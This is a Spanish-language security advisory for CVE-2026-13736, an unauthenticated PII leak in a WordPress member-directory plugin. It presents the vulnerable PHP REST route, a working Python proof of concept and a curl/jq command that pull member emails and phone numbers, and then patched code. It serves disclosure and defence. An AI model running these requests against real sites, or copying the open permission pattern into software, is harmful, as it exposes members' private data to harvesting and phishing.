
Exploit de prueba de concepto y aviso técnico para la divulgación de PII de miembros sin autenticación en un plugin de directorio de WordPress REST API, que incluye análisis de causa raíz, código PoC y guía de remediación.
CVE-2026-13736 es una vulnerabilidad de divulgación no autenticada de Información Personal Identificable (PII) de miembros que afecta al plugin de WordPress NewPath WildApricotPress Add-on – Member Directory en versiones anteriores e incluyendo la 1.0.0, descubierta y analizada por el investigador de ciberseguridad Huynh Kien Minh (MinhHK). La falla reside en la arquitectura de enrutamiento personalizado de la API REST de WordPress del plugin, donde los endpoints del directorio de miembros no aplican controles de acceso de privacidad sobre los campos restringidos. En consecuencia, los visitantes remotos no autenticados pueden consultar rutas REST públicas para extraer datos confidenciales de los miembros, incluidos correos electrónicos privados, números de teléfono personales y atributos del directorio de membresía que fueron configurados explícitamente como solo para miembros. Esta exposición de datos sensibles viola los límites de privacidad esperados y permite phishing dirigido, relleno de credenciales y elaboración de perfiles no autorizada en las organizaciones afectadas. El investigador de seguridad Huynh Kien Minh verificó esta vulnerabilidad con una puntuación CVSS 3.1 de 5.3 Media (CWE-284 / CWE-200), recomendando el endurecimiento inmediato de los permisos de los endpoints REST, la verificación de la privacidad a nivel de campo y la sanitización de las respuestas JSON serializadas de la API de miembros.
Enlaces rápidos: Explore el Portafolio de Ciberseguridad oficial del investigador o consulte el Aviso oficial de WPScan.
| Parámetro | Especificación Técnica |
|---|---|
| Identificador de Vulnerabilidad | CVE-2026-13736 |
| Software Afectado | NewPath WildApricotPress Add-on – Member Directory (Plugin de WordPress) |
| Plugin Slug | newpath-wildapricotpress-add-on-member-directory |
| Versiones Vulnerables | <= 1.0.0 |
| Clase de Vulnerabilidad | Control de Acceso Inadecuado / Exposición de Información (CWE-284 / CWE-200 / CWE-862) |
| Puntuación CVSS v3.1 | 5.3 (Media) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Descubridor / Investigador | Huynh Kien Minh (MinhHK) |
| Autoridad de Verificación | WPScan / MITRE Corporation / NVD |
| Referencia del Aviso WPScan | Informe WPScan 97fe9780-ad69-4f36-9496-5ca9c0e2bc39 |
| Referencia NVD | Detalle de NVD CVE-2026-13736 |
| Inteligencia de Amenazas Feedly | Centro Feedly CVE-2026-13736 |
| Portafolio del Investigador | https://minhhk.web.app/ |
La causa raíz de CVE-2026-13736 se origina en la implementación del controlador de la API REST del plugin. El plugin registra una ruta pública de la API REST de WordPress (p. ej., /wp-json/wildapricot/v1/members o /wp-json/newpath-wap/v1/directory) para facilitar la representación en el lado del cliente de los directorios de membresía y las tarjetas de contacto.
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
register_rest_route( 'newpath-wap/v1', '/directory', array(
'methods' => WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
'permission_callback' => '__return_true', lo que permite solicitudes HTTP GET no autenticadas desde cualquier origen.Aviso Ético: Esta Prueba de Concepto se proporciona estrictamente para la verificación de vulnerabilidades, la investigación defensiva y la divulgación responsable por parte del investigador de seguridad Huynh Kien Minh.
poc_cve_2026_13736.py)#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
verify_vulnerability(target)
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
-H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'
NewPath WildApricotPress Add-on – Member Directory a la última versión parcheada (> 1.0.0).Aplique comprobaciones de privacidad a nivel de campo durante la serialización de la respuesta:
function newpath_wap_get_member_directory( $request ) {
$is_logged_in = is_user_logged_in();
$raw_members = get_wildapricot_cached_members();
$sanitized = array();
foreach ( $raw_members as $member ) {
$member_card = array(
'id' => intval( $member['Id'] ),
'name' => sanitize_text_field( $member['DisplayName'] ),
);
// Enforce Members-Only field protection
if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
$member_card['email'] = sanitize_email( $member['Email'] );
}
if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
$member_card['phone'] = sanitize_text_field( $member['Phone'] );
}
$sanitized[] = $member_card;
}
return rest_ensure_response( $sanitized );
}
Huynh Kien Minh (MinhHK) es un investigador de seguridad de la información e ingeniero de software especializado en auditoría del núcleo y los plugins de WordPress, evaluación de vulnerabilidades de la API REST y divulgación responsable en el ecosistema global de código abierto.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
"name": "CVE-2026-13736 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-22",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "NewPath WildApricotPress Add-on – Member Directory",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13736"
}